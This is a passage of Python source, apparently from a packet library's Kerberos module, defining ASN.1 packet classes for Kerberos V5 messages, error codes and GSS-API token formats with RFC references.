KerberosFlags(\n        \"flags\",\n        \"\",\n        _TICKET_FLAGS,\n        explicit_tag=0xA4,\n    ),\n    KerberosTime(\"authtime\", GeneralizedTime(), explicit_tag=0xA5),\n    ASN1F_optional(\n        KerberosTime(\"starttime\", GeneralizedTime(), explicit_tag=0xA6),\n    ),\n    KerberosTime(\"endtime\", GeneralizedTime(), explicit_tag=0xA7),\n    ASN1F_optional(\n        KerberosTime(\"renewTill\", GeneralizedTime(), explicit_tag=0xA8),\n    ),\n    Realm(\"srealm\", \"\", explicit_tag=0xA9),\n    ASN1F_PACKET(\"sname\", PrincipalName(), PrincipalName, explicit_tag=0xAA),\n    ASN1F_optional(\n        HostAddresses(\"caddr\", explicit_tag=0xAB),\n    ),\n    # RFC6806 sect 11\n    ASN1F_optional(\n        ASN1F_SEQUENCE_OF(\"encryptedPaData\", [], PADATA, explicit_tag=0xAC),\n    ),\n)\n\n\nclass EncASRepPart(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        EncKDCRepPart,\n        implicit_tag=ASN1_Class_KRB.EncASRepPart,\n    )\n\n\nclass EncTGSRepPart(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        EncKDCRepPart,\n        implicit_tag=ASN1_Class_KRB.EncTGSRepPart,\n    )\n\n\n# sect 5.5.1\n\n\nclass KRB_AP_REQ(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n            ASN1F_enum_INTEGER(\"msgType\", 14, KRB_MSG_TYPES, explicit_tag=0xA1),\n            KerberosFlags(\n                \"apOptions\",\n                \"\",\n                [\n                    \"reserved\",\n                    \"use-session-key\",\n                    \"mutual-required\",\n                ],\n                explicit_tag=0xA2,\n            ),\n            ASN1F_PACKET(\"ticket\", None, KRB_Ticket, explicit_tag=0xA3),\n            ASN1F_PACKET(\"authenticator\", None, EncryptedData, explicit_tag=0xA4),\n        ),\n        implicit_tag=ASN1_Class_KRB.AP_REQ,\n    )\n\n\n_PADATA_CLASSES[1] = KRB_AP_REQ\n\n\nclass KRB_Authenticator(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"authenticatorPvno\", 5, explicit_tag=0xA0),\n            Realm(\"crealm\", \"\", explicit_tag=0xA1),\n            ASN1F_PACKET(\"cname\", None, PrincipalName, explicit_tag=0xA2),\n            ASN1F_optional(\n                ASN1F_PACKET(\"cksum\", None, Checksum, explicit_tag=0xA3),\n            ),\n            Microseconds(\"cusec\", 0, explicit_tag=0xA4),\n            KerberosTime(\"ctime\", GeneralizedTime(), explicit_tag=0xA5),\n            ASN1F_optional(\n                ASN1F_PACKET(\"subkey\", None, EncryptionKey, explicit_tag=0xA6),\n            ),\n            ASN1F_optional(\n                UInt32(\"seqNumber\", 0, explicit_tag=0xA7),\n            ),\n            ASN1F_optional(\n                ASN1F_PACKET(\n                    \"encAuthorizationData\", None, AuthorizationData, explicit_tag=0xA8\n                ),\n            ),\n        ),\n        implicit_tag=ASN1_Class_KRB.Authenticator,\n    )\n\n\n# sect 5.5.2\n\n\nclass KRB_AP_REP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n            ASN1F_enum_INTEGER(\"msgType\", 15, KRB_MSG_TYPES, explicit_tag=0xA1),\n            ASN1F_PACKET(\"encPart\", None, EncryptedData, explicit_tag=0xA2),\n        ),\n        implicit_tag=ASN1_Class_KRB.AP_REP,\n    )\n\n\nclass EncAPRepPart(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            KerberosTime(\"ctime\", GeneralizedTime(), explicit_tag=0xA0),\n            Microseconds(\"cusec\", 0, explicit_tag=0xA1),\n            ASN1F_optional(\n                ASN1F_PACKET(\"subkey\", None, EncryptionKey, explicit_tag=0xA2),\n            ),\n            ASN1F_optional(\n                UInt32(\"seqNumber\", 0, explicit_tag=0xA3),\n            ),\n        ),\n        implicit_tag=ASN1_Class_KRB.EncAPRepPart,\n    )\n\n\n# sect 5.7\n\n\nclass KRB_PRIV(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n            ASN1F_enum_INTEGER(\"msgType\", 21, KRB_MSG_TYPES, explicit_tag=0xA1),\n            ASN1F_PACKET(\"encPart\", None, EncryptedData, explicit_tag=0xA3),\n        ),\n        implicit_tag=ASN1_Class_KRB.PRIV,\n    )\n\n\nclass EncKrbPrivPart(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_STRING(\"userData\", ASN1_STRING(\"\"), explicit_tag=0xA0),\n            ASN1F_optional(\n                KerberosTime(\"timestamp\", None, explicit_tag=0xA1),\n            ),\n            ASN1F_optional(\n                Microseconds(\"usec\", None, explicit_tag=0xA2),\n            ),\n            ASN1F_optional(\n                UInt32(\"seqNumber\", None, explicit_tag=0xA3),\n            ),\n            ASN1F_PACKET(\"sAddress\", None, HostAddress, explicit_tag=0xA4),\n            ASN1F_optional(\n                ASN1F_PACKET(\"cAddress\", None, HostAddress, explicit_tag=0xA5),\n            ),\n        ),\n        implicit_tag=ASN1_Class_KRB.EncKrbPrivPart,\n    )\n\n\n# sect 5.8\n\n\nclass KRB_CRED(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n            ASN1F_enum_INTEGER(\"msgType\", 22, KRB_MSG_TYPES, explicit_tag=0xA1),\n            ASN1F_SEQUENCE_OF(\"tickets\", [KRB_Ticket()], KRB_Ticket, explicit_tag=0xA2),\n            ASN1F_PACKET(\"encPart\", None, EncryptedData, explicit_tag=0xA3),\n        ),\n        implicit_tag=ASN1_Class_KRB.CRED,\n    )\n\n\nclass KrbCredInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"key\", EncryptionKey(), EncryptionKey, explicit_tag=0xA0),\n        ASN1F_optional(\n            Realm(\"prealm\", None, explicit_tag=0xA1),\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\"pname\", None, PrincipalName, explicit_tag=0xA2),\n        ),\n        ASN1F_optional(\n            KerberosFlags(\n                \"flags\",\n                None,\n                _TICKET_FLAGS,\n                explicit_tag=0xA3,\n            ),\n        ),\n        ASN1F_optional(\n            KerberosTime(\"authtime\", None, explicit_tag=0xA4),\n        ),\n        ASN1F_optional(KerberosTime(\"starttime\", None, explicit_tag=0xA5)),\n        ASN1F_optional(\n            KerberosTime(\"endtime\", None, explicit_tag=0xA6),\n        ),\n        ASN1F_optional(\n            KerberosTime(\"renewTill\", None, explicit_tag=0xA7),\n        ),\n        ASN1F_optional(\n            Realm(\"srealm\", None, explicit_tag=0xA8),\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\"sname\", None, PrincipalName, explicit_tag=0xA9),\n        ),\n        ASN1F_optional(\n            HostAddresses(\"caddr\", explicit_tag=0xAA),\n        ),\n    )\n\n\nclass EncKrbCredPart(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_SEQUENCE_OF(\n                \"ticketInfo\",\n                [KrbCredInfo()],\n                KrbCredInfo,\n                explicit_tag=0xA0,\n            ),\n            ASN1F_optional(\n                UInt32(\"nonce\", None, explicit_tag=0xA1),\n            ),\n            ASN1F_optional(\n                KerberosTime(\"timestamp\", None, explicit_tag=0xA2),\n            ),\n            ASN1F_optional(\n                Microseconds(\"usec\", None, explicit_tag=0xA3),\n            ),\n            ASN1F_optional(\n                ASN1F_PACKET(\"sAddress\", None, HostAddress, explicit_tag=0xA4),\n            ),\n            ASN1F_optional(\n                ASN1F_PACKET(\"cAddress\", None, HostAddress, explicit_tag=0xA5),\n            ),\n        ),\n        implicit_tag=ASN1_Class_KRB.EncKrbCredPart,\n    )\n\n\n# sect 5.9.1\n\n\nclass MethodData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"seq\", [PADATA()], PADATA)\n\n\nclass _KRBERROR_data_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_KRBERROR_data_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.errorCode.val in [14, 24, 25, 36]:\n            # 14: KDC_ERR_ETYPE_NOSUPP\n            # 24: KDC_ERR_PREAUTH_FAILED\n            # 25: KDC_ERR_PREAUTH_REQUIRED\n            # 36: KRB_AP_ERR_BADMATCH\n            return MethodData(val[0].val, _underlayer=pkt), val[1]\n        elif pkt.errorCode.val in [6, 7, 12, 13, 18, 29, 32, 41, 60, 62]:\n            # 6: KDC_ERR_C_PRINCIPAL_UNKNOWN\n            # 7: KDC_ERR_S_PRINCIPAL_UNKNOWN\n            # 12: KDC_ERR_POLICY\n            # 13: KDC_ERR_BADOPTION\n            # 18: KDC_ERR_CLIENT_REVOKED\n            # 29: KDC_ERR_SVC_UNAVAILABLE\n            # 32: KRB_AP_ERR_TKT_EXPIRED\n            # 41: KRB_AP_ERR_MODIFIED\n            # 60: KRB_ERR_GENERIC\n            # 62: KERB_ERR_TYPE_EXTENDED\n            try:\n                return KERB_ERROR_DATA(val[0].val, _underlayer=pkt), val[1]\n            except BER_Decoding_Error:\n                if pkt.errorCode.val in [18, 12]:\n                    # Some types can also happen in FAST sessions\n                    # 18: KDC_ERR_CLIENT_REVOKED\n                    return MethodData(val[0].val, _underlayer=pkt), val[1]\n                elif pkt.errorCode.val == 7:\n                    # This looks like an undocumented structure.\n                    # 7: KDC_ERR_S_PRINCIPAL_UNKNOWN\n                    return KERB_ERROR_UNK(val[0].val, _underlayer=pkt), val[1]\n                raise\n        elif pkt.errorCode.val == 69:\n            # KRB_AP_ERR_USER_TO_USER_REQUIRED\n            return KRB_TGT_REP(val[0].val, _underlayer=pkt), val[1]\n        return val\n\n\nclass KRB_ERROR(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n            ASN1F_enum_INTEGER(\"msgType\", 30, KRB_MSG_TYPES, explicit_tag=0xA1),\n            ASN1F_optional(\n                KerberosTime(\"ctime\", None, explicit_tag=0xA2),\n            ),\n            ASN1F_optional(\n                Microseconds(\"cusec\", None, explicit_tag=0xA3),\n            ),\n            KerberosTime(\"stime\", GeneralizedTime(), explicit_tag=0xA4),\n            Microseconds(\"susec\", 0, explicit_tag=0xA5),\n            ASN1F_enum_INTEGER(\n                \"errorCode\",\n                0,\n                {\n                    # RFC4120 sect 7.5.9\n                    0: \"KDC_ERR_NONE\",\n                    1: \"KDC_ERR_NAME_EXP\",\n                    2: \"KDC_ERR_SERVICE_EXP\",\n                    3: \"KDC_ERR_BAD_PVNO\",\n                    4: \"KDC_ERR_C_OLD_MAST_KVNO\",\n                    5: \"KDC_ERR_S_OLD_MAST_KVNO\",\n                    6: \"KDC_ERR_C_PRINCIPAL_UNKNOWN\",\n                    7: \"KDC_ERR_S_PRINCIPAL_UNKNOWN\",\n                    8: \"KDC_ERR_PRINCIPAL_NOT_UNIQUE\",\n                    9: \"KDC_ERR_NULL_KEY\",\n                    10: \"KDC_ERR_CANNOT_POSTDATE\",\n                    11: \"KDC_ERR_NEVER_VALID\",\n                    12: \"KDC_ERR_POLICY\",\n                    13: \"KDC_ERR_BADOPTION\",\n                    14: \"KDC_ERR_ETYPE_NOSUPP\",\n                    15: \"KDC_ERR_SUMTYPE_NOSUPP\",\n                    16: \"KDC_ERR_PADATA_TYPE_NOSUPP\",\n                    17: \"KDC_ERR_TRTYPE_NOSUPP\",\n                    18: \"KDC_ERR_CLIENT_REVOKED\",\n                    19: \"KDC_ERR_SERVICE_REVOKED\",\n                    20: \"KDC_ERR_TGT_REVOKED\",\n                    21: \"KDC_ERR_CLIENT_NOTYET\",\n                    22: \"KDC_ERR_SERVICE_NOTYET\",\n                    23: \"KDC_ERR_KEY_EXPIRED\",\n                    24: \"KDC_ERR_PREAUTH_FAILED\",\n                    25: \"KDC_ERR_PREAUTH_REQUIRED\",\n                    26: \"KDC_ERR_SERVER_NOMATCH\",\n                    27: \"KDC_ERR_MUST_USE_USER2USER\",\n                    28: \"KDC_ERR_PATH_NOT_ACCEPTED\",\n                    29: \"KDC_ERR_SVC_UNAVAILABLE\",\n                    31: \"KRB_AP_ERR_BAD_INTEGRITY\",\n                    32: \"KRB_AP_ERR_TKT_EXPIRED\",\n                    33: \"KRB_AP_ERR_TKT_NYV\",\n                    34: \"KRB_AP_ERR_REPEAT\",\n                    35: \"KRB_AP_ERR_NOT_US\",\n                    36: \"KRB_AP_ERR_BADMATCH\",\n                    37: \"KRB_AP_ERR_SKEW\",\n                    38: \"KRB_AP_ERR_BADADDR\",\n                    39: \"KRB_AP_ERR_BADVERSION\",\n                    40: \"KRB_AP_ERR_MSG_TYPE\",\n                    41: \"KRB_AP_ERR_MODIFIED\",\n                    42: \"KRB_AP_ERR_BADORDER\",\n                    44: \"KRB_AP_ERR_BADKEYVER\",\n                    45: \"KRB_AP_ERR_NOKEY\",\n                    46: \"KRB_AP_ERR_MUT_FAIL\",\n                    47: \"KRB_AP_ERR_BADDIRECTION\",\n                    48: \"KRB_AP_ERR_METHOD\",\n                    49: \"KRB_AP_ERR_BADSEQ\",\n                    50: \"KRB_AP_ERR_INAPP_CKSUM\",\n                    51: \"KRB_AP_PATH_NOT_ACCEPTED\",\n                    52: \"KRB_ERR_RESPONSE_TOO_BIG\",\n                    60: \"KRB_ERR_GENERIC\",\n                    61: \"KRB_ERR_FIELD_TOOLONG\",\n                    # RFC4556\n                    62: \"KDC_ERR_CLIENT_NOT_TRUSTED\",\n                    63: \"KDC_ERR_KDC_NOT_TRUSTED\",\n                    64: \"KDC_ERR_INVALID_SIG\",\n                    65: \"KDC_ERR_KEY_TOO_WEAK\",\n                    66: \"KDC_ERR_CERTIFICATE_MISMATCH\",\n                    67: \"KRB_AP_ERR_NO_TGT\",\n                    68: \"KDC_ERR_WRONG_REALM\",\n                    69: \"KRB_AP_ERR_USER_TO_USER_REQUIRED\",\n                    70: \"KDC_ERR_CANT_VERIFY_CERTIFICATE\",\n                    71: \"KDC_ERR_INVALID_CERTIFICATE\",\n                    72: \"KDC_ERR_REVOKED_CERTIFICATE\",\n                    73: \"KDC_ERR_REVOCATION_STATUS_UNKNOWN\",\n                    74: \"KDC_ERR_REVOCATION_STATUS_UNAVAILABLE\",\n                    75: \"KDC_ERR_CLIENT_NAME_MISMATCH\",\n                    76: \"KDC_ERR_KDC_NAME_MISMATCH\",\n                    77: \"KDC_ERR_INCONSISTENT_KEY_PURPOSE\",\n                    78: \"KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED\",\n                    79: \"KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED\",\n                    80: \"KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED\",\n                    81: \"KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED\",\n                    # draft-ietf-kitten-iakerb\n                    85: \"KRB_AP_ERR_IAKERB_KDC_NOT_FOUND\",\n                    86: \"KRB_AP_ERR_IAKERB_KDC_NO_RESPONSE\",\n                    # RFC6113\n                    90: \"KDC_ERR_PREAUTH_EXPIRED\",\n                    91: \"KDC_ERR_MORE_PREAUTH_DATA_REQUIRED\",\n                    92: \"KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET\",\n                    93: \"KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS\",\n                    # RFC8636\n                    100: \"KDC_ERR_NO_ACCEPTABLE_KDF\",\n                },\n                explicit_tag=0xA6,\n            ),\n            ASN1F_optional(Realm(\"crealm\", None, explicit_tag=0xA7)),\n            ASN1F_optional(\n                ASN1F_PACKET(\"cname\", None, PrincipalName, explicit_tag=0xA8),\n            ),\n            Realm(\"realm\", \"\", explicit_tag=0xA9),\n            ASN1F_PACKET(\"sname\", PrincipalName(), PrincipalName, explicit_tag=0xAA),\n            ASN1F_optional(KerberosString(\"eText\", \"\", explicit_tag=0xAB)),\n            ASN1F_optional(_KRBERROR_data_Field(\"eData\", \"\", explicit_tag=0xAC)),\n        ),\n        implicit_tag=ASN1_Class_KRB.ERROR,\n    )\n\n    def getSPN(self):\n        return \"%s@%s\" % (\n            self.sname.toString(),\n            self.realm.val.decode(),\n        )\n\n\n# PA-FX-ERROR\n_PADATA_CLASSES[137] = KRB_ERROR\n\n\n# [MS-KILE] sect 2.2.1\n\n\nclass KERB_EXT_ERROR(Packet):\n    fields_desc = [\n        XLEIntEnumField(\"status\", 0, STATUS_ERREF),\n        XLEIntField(\"reserved\", 0),\n        XLEIntField(\"flags\", 0x00000001),\n    ]\n\n\n# [MS-KILE] sect 2.2.2\n\n\nclass _Error_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_Error_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.dataType.val == 3:  # KERB_ERR_TYPE_EXTENDED\n            return KERB_EXT_ERROR(val[0].val, _underlayer=pkt), val[1]\n        return val\n\n\nclass KERB_ERROR_DATA(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\n            \"dataType\",\n            2,\n            {\n                1: \"KERB_AP_ERR_TYPE_NTSTATUS\",  # from the wdk\n                2: \"KERB_AP_ERR_TYPE_SKEW_RECOVERY\",\n                3: \"KERB_ERR_TYPE_EXTENDED\",\n            },\n            explicit_tag=0xA1,\n        ),\n        ASN1F_optional(_Error_Field(\"dataValue\", None, explicit_tag=0xA2)),\n    )\n\n\n# This looks like an undocumented structure.\n\n\nclass KERB_ERROR_UNK(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_enum_INTEGER(\n                \"dataType\",\n                0,\n                {\n                    -128: \"KDC_ERR_MUST_USE_USER2USER\",\n                },\n                explicit_tag=0xA0,\n            ),\n            ASN1F_STRING(\"dataValue\", None, explicit_tag=0xA1),\n        )\n    )\n\n\n# Kerberos U2U - draft-ietf-cat-user2user-03\n\n\nclass KRB_TGT_REQ(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n        ASN1F_enum_INTEGER(\"msgType\", 16, KRB_MSG_TYPES, explicit_tag=0xA1),\n        ASN1F_optional(\n            ASN1F_PACKET(\"sname\", None, PrincipalName, explicit_tag=0xA2),\n        ),\n        ASN1F_optional(\n            Realm(\"realm\", None, explicit_tag=0xA3),\n        ),\n    )\n\n\nclass KRB_TGT_REP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n        ASN1F_enum_INTEGER(\"msgType\", 17, KRB_MSG_TYPES, explicit_tag=0xA1),\n        ASN1F_PACKET(\"ticket\", None, KRB_Ticket, explicit_tag=0xA2),\n    )\n\n\n# draft-ietf-kitten-iakerb-03 sect 4\n\n\nclass KRB_FINISHED(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"gssMic\", Checksum(), Checksum, explicit_tag=0xA1),\n    )\n\n\n# RFC 6542 sect 3.1\n\n\nclass KRB_GSS_EXT(Packet):\n    fields_desc = [\n        IntEnumField(\n            \"type\",\n            0,\n            {\n                # https://www.iana.org/assignments/kerberos-v-gss-api/kerberos-v-gss-api.xhtml\n                0x00000000: \"GSS_EXTS_CHANNEL_BINDING\",  # RFC 6542 sect 3.2\n                0x00000001: \"GSS_EXTS_IAKERB_FINISHED\",  # not standard\n                0x00000002: \"GSS_EXTS_FINISHED\",  # PKU2U / IAKERB\n            },\n        ),\n        FieldLenField(\"length\", None, length_of=\"data\", fmt=\"!I\"),\n        MultipleTypeField(\n            [\n                (\n                    PacketField(\"data\", KRB_FINISHED(), KRB_FINISHED),\n                    lambda pkt: pkt.type == 0x00000002,\n                ),\n            ],\n            XStrLenField(\"data\", b\"\", length_from=lambda pkt: pkt.length),\n        ),\n    ]\n\n\n# RFC 4121 sect 4.1.1\n\n\nclass KRB_AuthenticatorChecksum(Packet):\n    fields_desc = [\n        FieldLenField(\"Lgth\", None, length_of=\"Bnd\", fmt=\"<I\"),\n        XStrLenField(\"Bnd\", b\"\\x00\" * 16, length_from=lambda pkt: pkt.Lgth),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x01: \"GSS_C_DELEG_FLAG\",\n                0x02: \"GSS_C_MUTUAL_FLAG\",\n                0x04: \"GSS_C_REPLAY_FLAG\",\n                0x08: \"GSS_C_SEQUENCE_FLAG\",\n                0x10: \"GSS_C_CONF_FLAG\",  # confidentiality\n                0x20: \"GSS_C_INTEG_FLAG\",  # integrity\n                # RFC4757\n                0x1000: \"GSS_C_DCE_STYLE\",\n                0x2000: \"GSS_C_IDENTIFY_FLAG\",\n                0x4000: \"GSS_C_EXTENDED_ERROR_FLAG\",\n            },\n        ),\n        ConditionalField(\n            LEShortField(\"DlgOpt\", 1),\n            lambda pkt: pkt.Flags.GSS_C_DELEG_FLAG,\n        ),\n        ConditionalField(\n            FieldLenField(\"Dlgth\", None, length_of=\"Deleg\", fmt=\"<H\"),\n            lambda pkt: pkt.Flags.GSS_C_DELEG_FLAG,\n        ),\n        ConditionalField(\n            PacketLenField(\n                \"Deleg\", KRB_CRED(), KRB_CRED, length_from=lambda pkt: pkt.Dlgth\n            ),\n            lambda pkt: pkt.Flags.GSS_C_DELEG_FLAG,\n        ),\n        # Extensions: RFC 6542 sect 3.1\n        PacketListField(\"Exts\", KRB_GSS_EXT(), KRB_GSS_EXT),\n    ]\n\n\n# Kerberos V5 GSS-API - RFC1964 and RFC4121\n\n_TOK_IDS = {\n    # RFC 1964\n    b\"\\x01\\x00\": \"KRB-AP-REQ\",\n    b\"\\x02\\x00\": \"KRB-AP-REP\",\n    b\"\\x03\\x00\": \"KRB-ERROR\",\n    b\"\\x01\\x01\": \"GSS_GetMIC-RFC1964\",\n    b\"\\x02\\x01\": \"GSS_Wrap-RFC1964\",\n    b\"\\x01\\x02\": \"GSS_Delete_sec_context-RFC1964\",\n    # U2U: [draft-ietf-cat-user2user-03]\n    b\"\\x04\\x00\": \"KRB-TGT-REQ\",\n    b\"\\x04\\x01\": \"KRB-TGT-REP\",\n    # RFC 4121\n    b\"\\x04\\x04\": \"GSS_GetMIC\",\n    b\"\\x05\\x04\": \"GSS_Wrap\",\n    # IAKERB: [draft-ietf-kitten-iakerb-03]\n    b\"\\x05\\x01\": \"IAKERB_PROXY\",\n}\n_SGN_ALGS = {\n    0x00: \"DES MAC MD5\",\n    0x01: \"MD2.5\",\n    0x02: \"DES MAC\",\n    # RFC 4757\n    0x11: \"HMAC\",\n}\n_SEAL_ALGS = {\n    0: \"DES\",\n    0xFFFF: \"none\",\n    # RFC 4757\n    0x10: \"RC4\",\n}\n\n\n# RFC 1964 - sect 1.1\n\n# See https://www.iana.org/assignments/kerberos-v-gss-api/kerberos-v-gss-api.xhtml\n_InitialContextTokens = {}  # filled below\n\n\nclass KRB_InnerToken(Packet):\n    name = \"Kerberos v5 InnerToken\"\n    fields_desc = [\n        StrFixedLenEnumField(\"TOK_ID\", b\"\\x01\\x00\", _TOK_IDS, length=2),\n        PacketField(\n            \"root\",\n            KRB_AP_REQ(),\n            lambda x, _parent: _InitialContextTokens[_parent.TOK_ID](x),\n        ),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\n            \"Kerberos %s\" % _TOK_IDS.get(self.TOK_ID, repr(self.TOK_ID))\n        )\n\n    def guess_payload_class(self, payload):\n        if self.TOK_ID in [b\"\\x01\\x01\", b\"\\x02\\x01\", b\"\\x04\\x04\", b\"\\x05\\x04\"]:\n            return conf.padding_layer\n        return Kerberos\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 13:\n            # Older RFC1964 variants of the token have KRB_GSSAPI_Token wrapper\n            if _pkt[2:13] == b\"\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\":\n                return KRB_GSSAPI_Token\n        return cls\n\n\n# RFC 4121 - sect 4.1\n\n\nclass KRB_GSSAPI_Token(GSSAPI_BLOB):\n    name = \"Kerberos GSSAPI-Token\"\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"MechType\", \"1.2.840.113554.1.2.2\"),\n        ASN1F_PACKET(\n            \"innerToken\",\n            KRB_InnerToken(),\n            KRB_InnerToken,\n            implicit_tag=0x0,\n        ),\n        implicit_tag=ASN1_Class_KRB.Token,\n    )\n\n\n# RFC 1964 - sect 1.2.1\n\n\nclass KRB_GSS_MIC_RFC1964(Packet):\n    name = \"Kerberos v5 MIC Token (RFC1964)\"\n    fields_desc = [\n        LEShortEnumField(\"SGN_ALG\", 0, _SGN_ALGS),\n        XLEIntField(\"Filler\", 0xFFFFFFFF),\n        XStrFixedLenField(\"SND_SEQ\", b\"\", length=8),\n        PadField(  # sect 1.2.2.3\n            XStrFixedLenField(\"SGN_CKSUM\", b\"\", length=8),\n            align=8,\n            padwith=b\"\\x04\",\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_InitialContextTokens[b\"\\x01\\x01\"] = KRB_GSS_MIC_RFC1964\n\n# RFC 1964 - sect 1.2.2\n\n\nclass KRB_GSS_Wrap_RFC1964(Packet):\n    name = \"Kerberos v5 GSS_Wrap (RFC1964)\"\n    fields_desc = [\n        LEShortEnumField(\"SGN_ALG\", 0, _SGN_ALGS),\n        LEShortEnumField(\"SEAL_ALG\", 0, _SEAL_ALGS),\n        XLEShortField(\"Filler\", 0xFFFF),\n        XStrFixedLenField(\"SND_SEQ\", b\"\", length=8),\n        PadField(  # sect 1.2.2.3\n            XStrFixedLenField(\"SGN_CKSUM\", b\"\", length=8),\n            align=8,\n            padwith=b\"\\x04\",\n        ),\n        # sect 1.2.2.3\n        XStrFixedLenField(\"CONFOUNDER\", b\"\", length=8),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_InitialContextTokens[b\"\\x02\\x01\"] = KRB_GSS_Wrap_RFC1964\n\n\n# RFC 1964 - sect 1.2.2\n\n\nclass KRB_GSS_Delete_sec_context_RFC1964(Packet):\n    name = \"Kerberos v5 GSS_Delete_sec_context (RFC1964)\"\n    fields_desc = KRB_GSS_MIC_RFC1964.fields_desc\n\n\n_InitialContextTokens[b\"\\x01\\x02\"] = KRB_GSS_Delete_sec_context_RFC1964\n\n\n# RFC 4121 - sect 4.2.2\n_KRB5_GSS_Flags = [\n    \"SentByAcceptor\",\n    \"Sealed\",\n    \"AcceptorSubkey\",\n]\n\n\n# RFC 4121 - sect 4.2.6.1\n\n\nclass KRB_GSS_MIC(Packet):\n    name = \"Kerberos v5 MIC Token\"\n    fields_desc = [\n        FlagsField(\"Flags\", 0, 8, _KRB5_GSS_Flags),\n        XStrFixedLenField(\"Filler\", b\"\\xff\\xff\\xff\\xff\\xff\", length=5),\n        LongField(\"SND_SEQ\", 0),  # Big endian\n        XStrField(\"SGN_CKSUM\", b\"\\x00\" * 12),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_InitialContextTokens[b\"\\x04\\x04\"] = KRB_GSS_MIC\n\n\n# RFC 4121 - sect 4.2.6.2\n\n\nclass KRB_GSS_Wrap(Packet):\n    name = \"Kerberos v5 Wrap Token\"\n    fields_desc = [\n        FlagsField(\"Flags\", 0, 8, _KRB5_GSS_Flags),\n        XByteField(\"Filler\", 0xFF),\n        ShortField(\"EC\", 0),  # Big endian\n        ShortField(\"RRC\", 0),  # Big endian\n        LongField(\"SND_SEQ\", 0),  # Big endian\n        MultipleTypeField(\n            [\n                (\n                    XStrField(\"Data\", b\"\"),\n                    lambda pkt: pkt.Flags.Sealed,\n                )\n            ],\n            XStrLenField(\"Data\", b\"\", length_from=lambda pkt: pkt.EC),\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_InitialContextTokens[b\"\\x05\\x04\"] = KRB_GSS_Wrap\n\n\n# Kerberos IAKERB - draft-ietf-kitten-iakerb-03\n\n\nclass IAKERB_HEADER(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        Realm(\"targetRealm\", 